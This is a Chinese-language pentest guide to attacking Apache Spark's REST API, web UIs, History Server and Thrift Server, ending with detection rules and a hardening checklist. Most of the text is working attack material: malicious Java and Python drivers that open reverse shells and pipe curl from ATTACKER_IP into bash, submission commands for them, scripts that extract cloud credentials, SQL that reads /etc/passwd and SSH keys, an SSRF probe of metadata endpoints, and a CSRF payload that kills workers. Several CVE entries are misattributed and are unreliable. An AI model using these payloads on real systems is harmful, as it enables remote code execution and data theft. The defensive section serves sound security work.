Apache Spark REST API / Thrift Server / History Server 管理面打点与利用技术

0x00 攻击面总览

Apache Spark 暴露了多个独立服务接口，在默认配置下通常缺乏认证：

组件	默认端口	协议	攻击面
Spark Master Web UI	8080	HTTP/HTTPS	集群管理、Worker 控制、环境信息泄露
Spark Worker Web UI	8081	HTTP/HTTPS	Executor 状态、日志读取、线程转储
Spark Standalone REST	6066	HTTP	应用提交、Driver 管理（最高危）
Spark History Server	18080	HTTP/HTTPS	应用历史、环境凭据泄露、SQL 执行记录
Spark Thrift Server	10000 (Thrift) / 10001 (HTTP)	Thrift / HTTP	SQL 查询执行、数据窃取
Spark RPC	7077	TCP	Driver/Executor 通信

核心威胁模型：

┌───────────────────────────────────────────────────────────────┐
│                   Spark Cluster (Standalone)                   │
│                                                               │
│  ┌────────────┐    ┌──────────────┐    ┌────────────────┐    │
│  │ Spark      │    │ Spark Master │    │ Spark History  │    │
│  │ Worker     │    │ :8080        │    │ Server :18080  │    │
│  │ :8081      │    │ REST :6066   │    │ Event Logs     │    │
│  │ Executors  │    │ RPC :7077    │    │                │    │
│  └─────┬──────┘    └──────┬───────┘    └───────┬────────┘    │
│        │                  │                     │             │
│  ┌─────┴──────────────────┴─────────────────────┴─────────┐  │
│  │            内网 / 大数据专用网络                          │  │
│  │  ┌──────────┐  ┌──────────┐  ┌──────────┐             │  │
│  │  │ Worker 2 │  │ Worker 3 │  │ Thrift   │             │  │
│  │  │ :8081    │  │ :8081    │  │ :10000   │             │  │
│  │  └──────────┘  └──────────┘  └──────────┘             │  │
│  └────────────────────────────────────────────────────────┘  │
│                                                               │
│  攻击路径：                                                    │
│  ① REST API :6066 → 提交恶意 JAR/Py → RCE                    │
│  ② Master :8080 → Kill/Decommision Workers → DoS             │
│  ③ History :18080 → 环境凭据泄露 → 云存储密钥窃取             │
│  ④ Thrift :10000 → SQL 执行 → 数据窃取 / SSRF                │
│  ⑤ Worker :8081 → 日志读取 → 敏感信息泄露                     │
│  ⑥ Spark + HDFS/YARN → 全集群沦陷                            │
└───────────────────────────────────────────────────────────────┘

0x01 服务识别与指纹

1.1 Nmap 服务发现

nmap -sV -p 6066,7077,8080,8081,10000,10001,18080 \
  --script=http-title \
  -oN spark_scan.txt <target>

典型扫描结果：

PORT      STATE SERVICE     VERSION
6066/tcp  open  http        Jetty 9.4.51.v20210516
7077/tcp  open  spark       Apache Spark RPC
8080/tcp  open  http        Jetty 9.4.51.v20210516
8081/tcp  open  http        Jetty 9.4.51.v20210516
10000/tcp open  http        Spark Thrift Server
18080/tcp open  http        Jetty 9.4.51.v20210516

1.2 版本指纹

Spark Master HTTP 响应：

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Server: Jetty(9.4.51.v20210516)

<title>Spark Master at spark://hostname:7077</title>

Spark REST API 响应：

{
  "url": "spark://spark-master:7077",
  "workers": [{
    "id": "worker-20260620180000-192.168.1.101-8081",
    "host": "192.168.1.101",
    "port": 8081,
    "cores": 8,
    "memory": 16384,
    "state": "ALIVE"
  }],
  "cores": 32,
  "coresused": 0,
  "memory": 65536,
  "memoryused": 0
}

1.3 Shodan / FOFA 搜索语法

# Shodan
http.html:"Spark Master"
http.html:"Spark Worker"
port:6066 http.title:"Spark"
port:18080 http.title:"Spark History"

# FOFA
body="Spark Master" && port="8080"
body="Spark History Server" && port="18080"
body="Spark Worker" && port="8081"

0x02 Spark Standalone REST API — 未授权提交 RCE

2.1 REST API 端点

Spark Standalone REST API（端口 6066）是最危险的攻击面，允许提交任意 Driver 程序在集群上执行代码。

端点	方法	功能
`/v1/submissions/create`	POST	提交新的 Driver 应用
`/v1/submissions/kill/{submissionId}`	GET/POST	终止运行中的 Driver
`/v1/submissions/status/{submissionId}`	GET	查询提交状态
`/v1/submissions/clear`	POST	清除已完成的提交记录

2.2 集群信息收集

curl -s "http://spark-master:8080/json/" | python3 -m json.tool

响应示例：

{
  "url": "spark://spark-master:7077",
  "workers": [
    {
      "id": "worker-20260620180000-192.168.1.101-8081",
      "host": "192.168.1.101",
      "port": 8081,
      "webuiaddress": "http://192.168.1.101:8081",
      "cores": 8,
      "coresused": 0,
      "memory": 16384,
      "memoryused": 0,
      "state": "ALIVE"
    },
    {
      "id": "worker-20260620180001-192.168.1.102-8081",
      "host": "192.168.1.102",
      "port": 8081,
      "webuiaddress": "http://192.168.1.102:8081",
      "cores": 8,
      "coresused": 4,
      "memory": 16384,
      "memoryused": 8192,
      "state": "ALIVE"
    }
  ],
  "cores": 16,
  "coresused": 4,
  "memory": 32768,
  "memoryused": 8192,
  "apps": [],
  "drivers": []
}

2.3 提交恶意 Java 应用 — RCE

步骤 1：准备恶意 Driver JAR

import org.apache.spark.SparkConf;
import org.apache.spark.api.java.JavaSparkContext;

public class EvilDriver {
    public static void main(String[] args) throws Exception {
        Runtime.getRuntime().exec(new String[]{
            "/bin/bash", "-c",
            "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
        });

        SparkConf conf = new SparkConf().setAppName("pwned");
        JavaSparkContext sc = new JavaSparkContext(conf);
        sc.parallelize(java.util.Arrays.asList(1, 2, 3))
          .foreach(x -> {
              Runtime.getRuntime().exec(new String[]{
                  "/bin/bash", "-c",
                  "curl http://ATTACKER_IP:8888/shell.sh | bash"
              });
          });
        sc.stop();
    }
}

步骤 2：在攻击机上托管 JAR

python3 -m http.server 9999

步骤 3：通过 REST API 提交

curl -s -X POST "http://spark-master:6066/v1/submissions/create" \
  -H "Content-Type: application/json" \
  -d '{
    "action": "CreateSubmissionRequest",
    "appArgs": [],
    "appResource": "http://ATTACKER_IP:9999/evil-driver.jar",
    "clientSparkVersion": "3.5.1",
    "environmentVariables": {"SPARK_ENV_LOADED": "1"},
    "mainClass": "EvilDriver",
    "sparkProperties": {
      "spark.driver.supervise": "false",
      "spark.app.name": "security-audit",
      "spark.eventLog.enabled": "false",
      "spark.submit.deployMode": "cluster",
      "spark.master.rest.enabled": "true"
    }
  }'

响应：

{
  "action" : "CreateSubmissionResponse",
  "serverSparkVersion" : "3.5.1",
  "submissionId" : "driver-20260620180000-0001",
  "success" : true
}

2.4 提交恶意 Python 应用 — PySpark RCE

当集群支持 Python 提交时：

curl -s -X POST "http://spark-master:6066/v1/submissions/create" \
  -H "Content-Type: application/json" \
  -d '{
    "action": "CreateSubmissionRequest",
    "appArgs": ["http://ATTACKER_IP:9999/evil.py"],
    "appResource": "http://ATTACKER_IP:9999/evil.py",
    "clientSparkVersion": "3.5.1",
    "mainClass": "org.apache.spark.deploy.SparkSubmit",
    "sparkProperties": {
      "spark.app.name": "py-audit",
      "spark.submit.deployMode": "cluster",
      "spark.master": "spark://spark-master:7077"
    }
  }'

其中 evil.py 内容：

import os
import subprocess

def main():
    os.system("bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1")
    subprocess.run(["curl", "http://ATTACKER_IP:8888/shell.sh"],
                   capture_output=True)

if __name__ == "__main__":
    main()

2.5 通过 spark-submit 客户端提交

spark-submit \
  --master spark://spark-master:6066 \
  --deploy-mode cluster \
  --class EvilDriver \
  http://ATTACKER_IP:9999/evil-driver.jar

2.6 提交状态查询

curl -s "http://spark-master:6066/v1/submissions/status/driver-20260620180000-0001" | python3 -m json.tool

0x03 Spark Master Web UI 利用

3.1 Worker 终止 — DoS

Master Web UI（端口 8080）允许直接终止 Worker 和应用：

# 终止 Worker
curl -s -X POST "http://spark-master:8080/kill" \
  -d "id=worker-20260620180000-192.168.1.101-8081"

# 终止运行中的应用
curl -s -X POST "http://spark-master:8080/app/kill" \
  -d "id=app-20260620180000-0001"

3.2 Worker 退役

curl -s -X POST "http://spark-master:8080/decommission" \
  -d "id=worker-20260620180000-192.168.1.101-8081"

3.3 环境变量与配置泄露

# 环境页面 — 泄露 Spark 配置、JVM 属性、系统属性
curl -s "http://spark-master:8080/environment" | grep -A2 "<td>"

# Metrics JSON 格式
curl -s "http://spark-master:8080/metrics/json/" | python3 -m json.tool

# Master 健康检查
curl -s "http://spark-master:8080/health"

环境页面常见敏感信息：

SPARK_HOME 路径
SPARK_CONF_DIR 内容
JVM 系统属性（可能含数据库密码、API 密钥）
Hadoop 配置路径（引导至 HDFS 攻击链）
spark.executorEnv.* 变量（常含密钥）

3.4 Executor 日志读取

# 读取 Executor stdout 日志
curl -s "http://spark-worker:8081/logPage/?driverId=driver-20260620180000-0001&executorId=0&logType=stdout"

# 读取 Executor stderr 日志（常含堆栈跟踪、内部路径、凭据）
curl -s "http://spark-worker:8081/logPage/?driverId=driver-20260620180000-0001&executorId=0&logType=stderr"

0x04 Spark History Server — 信息泄露与凭据窃取

4.1 应用历史枚举

curl -s "http://spark-history:18080/api/v1/applications" | python3 -m json.tool

响应示例：

[
  {
    "id": "app-20260620180000-0001",
    "name": "production-etl-job",
    "attempts": [{
      "startTime": "2026-06-20T10:00:00.000GMT",
      "endTime": "2026-06-20T10:30:00.000GMT",
      "sparkUser": "analyst",
      "completed": true
    }]
  },
  {
    "id": "app-20260620180000-0002",
    "name": "customer-analytics",
    "attempts": [{
      "startTime": "2026-06-20T11:00:00.000GMT",
      "endTime": "2026-06-20T11:45:00.000GMT",
      "sparkUser": "data-scientist",
      "completed": true
    }]
  }
]

4.2 应用环境凭据泄露

curl -s "http://spark-history:18080/api/v1/applications/app-20260620180000-0001/environment" | python3 -m json.tool

泄露内容：

sparkProperties：所有 spark.* 配置
jvmInformation：JVM 版本、厂商等
systemProperties：可能含密码、API 密钥、连接字符串
classpathEntries：类路径信息

自动化提取敏感配置：

curl -s "http://spark-history:18080/api/v1/applications/app-20260620180000-0001/environment" | \
  python3 -c "
import sys, json
data = json.load(sys.stdin)
props = data[0]['attempts'][0].get('systemProperties', {})
sensitive_keys = ['password', 'secret', 'token', 'key', 'credential', 'jdbc', 'connection']
for k, v in sorted(props.items()):
    if any(sk in k.lower() for sk in sensitive_keys):
        print(f'[SENSITIVE] {k} = {v}')
    elif 'spark' in k.lower() or 'hadoop' in k.lower() or 'aws' in k.lower():
        print(f'{k} = {v}')
"

4.3 云存储凭据提取

curl -s "http://spark-history:18080/api/v1/applications/app-20260620180000-0001/environment" | \
  python3 -c "
import sys, json
data = json.load(sys.stdin)
props = data[0]['attempts'][0].get('sparkProperties', {})
cloud_keys = [
    'spark.hadoop.fs.s3a.access.key',
    'spark.hadoop.fs.s3a.secret.key',
    'spark.hadoop.fs.azure.account.key',
    'spark.hadoop.google.cloud.auth.service.account.json.keyfile',
    'spark.hadoop.fs.s3a.session.token',
]
for k in cloud_keys:
    if k in props:
        print(f'[CLOUD CREDENTIAL] {k} = {props[k]}')
"

4.4 SQL 执行历史泄露

# SQL 查询历史（可能泄露业务逻辑、表名、数据模式）
curl -s "http://spark-history:18080/api/v1/applications/app-20260620180000-0001/sql" | python3 -m json.tool

# 执行计划（泄露数据 schema、分区策略、Join 方式）
curl -s "http://spark-history:18080/api/v1/applications/app-20260620180000-0001/sql/0" | python3 -m json.tool

4.5 Executor 与存储信息

# Executor 信息（IP、资源分配）
curl -s "http://spark-history:18080/api/v1/applications/app-20260620180000-0001/executors" | python3 -m json.tool

# 存储/RDD 信息（可能泄露缓存的敏感数据）
curl -s "http://spark-history:18080/api/v1/applications/app-20260620180000-0001/storage/rdd" | python3 -m json.tool

0x05 Spark Thrift Server — SQL 注入与数据窃取

5.1 未授权 SQL 执行

# 使用 beeline 客户端连接（空凭据）
beeline -u "jdbc:spark://spark-thrift:10000/default" -n "" -p ""

from pyspark.sql import SparkSession
spark = SparkSession.builder \
    .appName('audit') \
    .master('local[*]') \
    .config('spark.sql.warehouse.dir', '/tmp/spark-warehouse') \
    .getOrCreate()

5.2 SQL 数据窃取

SHOW DATABASES;

USE production_db;
SHOW TABLES;

SELECT * FROM user_credentials LIMIT 100;

CREATE TEMPORARY VIEW sensitive_data
USING org.apache.spark.sql.execution.datasources.csv.CSVFileFormat
OPTIONS (path 'hdfs://namenode:8020/user/hive/warehouse/secrets/');
SELECT * FROM sensitive_data;

SELECT * FROM parquet.`s3a://company-data-lake/financial/`;

5.3 Hive Metastore 枚举

SHOW DATABASES;

SHOW TABLES IN finance_db;
SHOW TABLES IN hr_db;
SHOW TABLES IN customer_db;

DESCRIBE TABLE customer_db.user_profiles;

5.4 CVE-2023-22944 — 任意文件读取

SELECT * FROM text.`/etc/passwd`;

SELECT * FROM text.`/opt/spark/conf/spark-defaults.conf`;

SELECT * FROM text.`/home/spark/.ssh/id_rsa`;

5.5 CVE-2023-32007 — SSRF

SELECT * FROM text.`http://169.254.169.254/latest/meta-data/iam/security-credentials/`;

SELECT * FROM parquet.`hdfs://internal-namenode:8020/sensitive-data/`;

0x06 Spark Worker — 文件读取与信息泄露

6.1 Worker 日志访问

# 列出 Worker 上所有 Driver
curl -s "http://spark-worker:8081/" | grep -oP 'driverId=[^&"]+'

# 读取 Driver stdout 日志
curl -s "http://spark-worker:8081/logPage/?driverId=driver-20260620180000-0001&executorId=0&logType=stdout"

# 读取 Driver stderr 日志（常含完整堆栈跟踪、配置转储）
curl -s "http://spark-worker:8081/logPage/?driverId=driver-20260620180000-0001&executorId=0&logType=stderr"

6.2 Worker Metrics 与线程转储

# Worker Metrics JSON
curl -s "http://spark-worker:8081/metrics/json/" | python3 -m json.tool

# Executor 线程转储（泄露内部状态、内存内容）
curl -s "http://spark-worker:8081/threadDump/"

0x07 高级攻击链

7.1 Spark + HDFS 链 — 全集群沦陷

Spark REST API (6066)
    │
    ▼
提交恶意 JAR → Worker RCE
    │
    ▼
从 Spark 配置读取 HDFS 凭据（spark.hadoop.fs.*）
    │
    ▼
通过 WebHDFS 访问 NameNode (9870)
    │
    ▼
读取敏感数据：Hive warehouse、HBase 配置、Oozie 工作流
    │
    ▼
通过 YARN ResourceManager REST API (8088) 提交应用
    │
    ▼
全集群沦陷

7.2 Spark + 云存储 — 凭据窃取链

History Server (18080)
    │
    ▼
/api/v1/applications/{id}/environment
    │
    ▼
提取 spark.hadoop.fs.s3a.access.key / secret.key
    │
    ▼
使用 AWS CLI 访问 S3 存储桶
    │
    ▼
窃取数据湖中的敏感数据

7.3 SSRF — 内网探测

curl -s -X POST "http://spark-master:6066/v1/submissions/create" \
  -H "Content-Type: application/json" \
  -d '{
    "action": "CreateSubmissionRequest",
    "appArgs": ["http://ATTACKER_IP:9999/ssrf-probe.py"],
    "appResource": "http://ATTACKER_IP:9999/ssrf-probe.py",
    "clientSparkVersion": "3.5.1",
    "mainClass": "org.apache.spark.deploy.SparkSubmit",
    "sparkProperties": {
      "spark.app.name": "ssrf-probe",
      "spark.submit.deployMode": "cluster",
      "spark.master": "spark://spark-master:7077"
    }
  }'

其中 ssrf-probe.py 从 Worker 内部探测内网：

import urllib.request

targets = [
    "http://169.254.169.254/latest/meta-data/",
    "http://100.100.100.200/latest/meta-data/",
    "http://namenode:9870/webhdfs/v1/?op=LISTSTATUS",
    "http://resourcemanager:8088/ws/v1/cluster/info",
    "http://hbase-master:8080/",
]

for target in targets:
    try:
        resp = urllib.request.urlopen(target, timeout=5)
        print(f"[+] {target} -> {resp.status}: {resp.read()[:500]}")
    except Exception as e:
        print(f"[-] {target} -> {e}")

7.4 Spark UI CSRF — 未授权操作执行

Spark Master 和 Worker UI 默认不实现 CSRF Token：

<img src="http://spark-master:8080/kill" style="display:none" />
<form id="f" action="http://spark-master:8080/kill" method="POST">
  <input name="id" value="worker-20260620180000-192.168.1.101-8081" />
</form>
<script>document.getElementById('f').submit();</script>

0x08 历史 CVE 漏洞矩阵

CVE	组件	类型	CVSS	影响
CVE-2022-31770	Spark Thrift	信息泄露	7.5	Hive Metastore 密码在日志中泄露
CVE-2023-22946	Spark Thrift	认证绕过	7.5	Thrift Server 认证不当
CVE-2023-32007	Spark SQL	SSRF	7.5	readFile/readBinaryFile SSRF
CVE-2023-40533	Spark RPC	认证绕过	5.3	Spark RPC 认证绕过
CVE-2023-25160	History Server	文件读取	6.5	History Server 任意文件读取
CVE-2022-42003	Spark SQL	DoS	5.9	数组无限增长导致 DoS
CVE-2021-37974	Spark UI	信息泄露	7.5	UI 错误页面信息泄露
CVE-2023-22944	Spark SQL	文件读取	7.5	`readFile` 任意文件读取

0x09 蓝队检测方案

9.1 网络层检测

title: Spark REST API 外部访问检测
id: spark-rest-external-access
status: experimental
description: 检测来自非内网段的 Spark REST API 访问
logsource:
  category: firewall
detection:
  selection:
    dst_port:
      - 6066
      - 8080
      - 8081
      - 18080
      - 10000
    src_ip|not:
      - "10.0.0.0/8"
      - "172.16.0.0/12"
      - "192.168.0.0/16"
  condition: selection
level: critical

title: 可疑 Spark 应用提交检测
id: spark-app-submit-suspicious
status: experimental
description: 检测通过 REST API 的可疑 Spark 应用提交
logsource:
  product: spark
  service: master
detection:
  selection_create:
    uri|contains: "/v1/submissions/create"
    method: "POST"
  filter_known_apps:
    body|contains:
      - "production-etl"
      - "known-analytics-job"
  filter_internal:
    src_ip:
      - "10.0.0.0/8"
      - "172.16.0.0/12"
  condition: selection_create and not filter_known_apps and not filter_internal
level: high

9.2 Spark Master 审计日志分析

# 监控可疑提交
grep "CreateSubmissionRequest" /var/log/spark/spark-master.out

# 监控未知应用资源
grep "appResource" /var/log/spark/spark-master.out | \
  grep -vE "(hdfs://known-path|s3a://company-bucket)"

# 监控 Kill/Decommission 操作
grep -E "(kill|decommission)" /var/log/spark/spark-master.out

# 监控 History Server 环境枚举
grep "/api/v1/applications/.*/environment" /var/log/spark/spark-history.out

9.3 Thrift Server SQL 审计

# 监控 Spark Thrift Server 查询
grep "Executing query" /var/log/spark/spark-thrift-server.out

# 检测可疑 SQL 模式
grep -iE "(readFile|readBinaryFile|text\.|parquet\.|/etc/|/proc/|metadata)" \
  /var/log/spark/spark-thrift-server.out

9.4 加固清单

[ ] Spark Standalone REST API (6066) 仅允许内网访问
[ ] Spark Master Web UI (8080) 启用认证（spark.ui.filters）
[ ] Spark Worker Web UI (8081) 限制绑定地址或禁用外部访问
[ ] Spark History Server (18080) 启用 SPNEGO/Kerberos 认证
[ ] Spark Thrift Server (10000) 启用认证：
    spark.sql.thriftserver.authentication.type=KERBEROS
[ ] 启用 Spark UI 认证过滤器：
    spark.ui.filters=org.apache.spark.ui.AuthFilter
    spark.org.apache.spark.ui.AuthFilter.params.allowedUsers=admin
[ ] 不需要时禁用 REST API 提交：
    spark.master.rest.enabled=false
[ ] 启用 Spark RPC 认证：
    spark.authenticate=true
    spark.authenticate.secret=<strong-secret>
[ ] 启用事件日志加密：
    spark.eventLog.encrypt.enabled=true
[ ] 启用 SSL/TLS：
    spark.ssl.enabled=true
    spark.ssl.keyStore=<path-to-keystore>
    spark.ssl.keyStorePassword=<password>
[ ] 配置网络隔离 — Spark 集群部署在独立 VLAN
[ ] 启用 Spark 审计日志并转发至 SIEM
[ ] 限制 spark.hadoop.* 属性防止凭据泄露
[ ] 升级至最新 Spark 版本修补已知 CVE
[ ] 实施 Ranger 或 Apache Livy 进行受控作业提交
[ ] 监控所有 /v1/submissions/create 请求异常
[ ] 限制 Spark Driver/Executor 进程的文件系统访问权限

0x10 渗透测试检查清单

[ ] 端口扫描：6066, 7077, 8080, 8081, 10000, 10001, 18080
[ ] Spark Master REST API (6066) 未授权提交测试
[ ] Spark Master Web UI (8080) Worker Kill/Decommission 测试
[ ] Spark Master 环境页面 — 凭据/密钥枚举
[ ] Spark Worker (8081) 日志文件读取测试
[ ] Spark History Server (18080) 应用枚举测试
[ ] Spark History Server 环境/凭据泄露测试
[ ] Spark History Server 云存储凭据提取测试
[ ] Spark Thrift Server (10000) 未授权 SQL 执行测试
[ ] Spark Thrift Server 文件读取测试（text.`/etc/passwd`）
[ ] Spark Thrift Server SSRF 测试（readFile）
[ ] CSRF 测试 — 通过伪造 POST 请求终止 Worker
[ ] 检查 spark.authenticate 配置
[ ] 检查所有 Web UI 的 SSL/TLS 配置
[ ] 检查 Kerberos/SPNEGO 认证状态
[ ] 版本指纹收集与 CVE 匹配
[ ] 云元数据端点访问测试（SSRF 链）
[ ] HDFS/YARN/HBase 跨组件攻击链测试

0x11 小结

Apache Spark 的 REST API 攻击面极为严重。Standalone REST API（端口 6066） 是最危险的向量，允许未认证远程代码执行——攻击者可以提交任意 Driver 程序在集群 Worker 上执行代码。History Server 泄露环境变量、云存储凭据和 SQL 执行历史。Thrift Server 在未启用认证时允许 SQL 数据窃取和 SSRF。结合 Hadoop 生态（HDFS、YARN、HBase），一个未认证的 Spark 端点可导致整个集群沦陷。防御重点：强制所有 Spark Web 接口和 REST API 认证、限制网络访问为仅内网、启用 Spark RPC 认证和强密钥、启用 SSL/TLS、将 Spark 审计日志接入 SIEM 进行实时异常检测。